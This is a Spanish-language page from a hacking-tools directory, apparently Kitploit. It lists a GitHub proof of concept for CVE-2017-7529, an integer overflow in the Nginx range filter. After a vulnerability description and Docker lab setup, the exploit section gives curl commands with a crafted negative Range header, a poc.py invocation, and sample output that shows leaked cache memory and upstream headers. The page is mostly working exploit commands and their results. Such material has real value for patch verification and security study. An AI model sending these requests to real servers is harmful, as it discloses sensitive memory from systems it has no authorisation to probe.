Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-7529 — Nginx (vers. 0.5.6 - 1.13.2) Desbordamiento de enteros remoto | Kitploit
Herramientas/GitHubGitHub/sireagie/cve-2017-7529
Análisis de VulnerabilidadesExplotaciónSeguridad Web
GitHubsireagie/cve-2017-7529

CVE-2017-7529

Nginx (vers. 0.5.6 - 1.13.2) Desbordamiento de enteros remoto

Ver Repositorio
9hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Descripción de CVE-2017-7529

Las versiones de Nginx desde la 0.5.6 hasta la 1.13.2 inclusive son vulnerables a un desbordamiento de enteros en el módulo range filter de nginx, lo que resulta en la filtración de información potencialmente sensible provocada por una solicitud especialmente diseñada. Fuente: https://nvd.nist.gov/vuln/detail/CVE-2017-7529

Ejemplo de Nginx + Flask

En otras fuentes públicas puedes encontrar información de que esta vulnerabilidad solo puede reproducirse con Apache2 y únicamente con archivos de imagen, pero no es el caso. Esta vulnerabilidad funciona con cualquier aplicación que se proxifique a través de Nginx. Lo principal es que el servidor devuelva la cabecera Accept-Ranges: bytes. Se puede añadir manualmente a la configuración de nginx: proxy_force_ranges on;

Instalación

root@kitploit:~
$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529

Exploit

Envía una solicitud GET para obtener el Content-Length y almacena la respuesta en la caché. Reenvía la solicitud con la cabecera Range y el rango -n,-(0x8000000000000000-n).

root@kitploit:~
$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -

O utiliza el script poc.py.

root@kitploit:~
$ python3 poc.py http://localhost:8000/ 513

Resultado:

root@kitploit:~
[+] Vulnerable to CVE-2017-7529

--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20

MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT

<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20
Descargar herramienta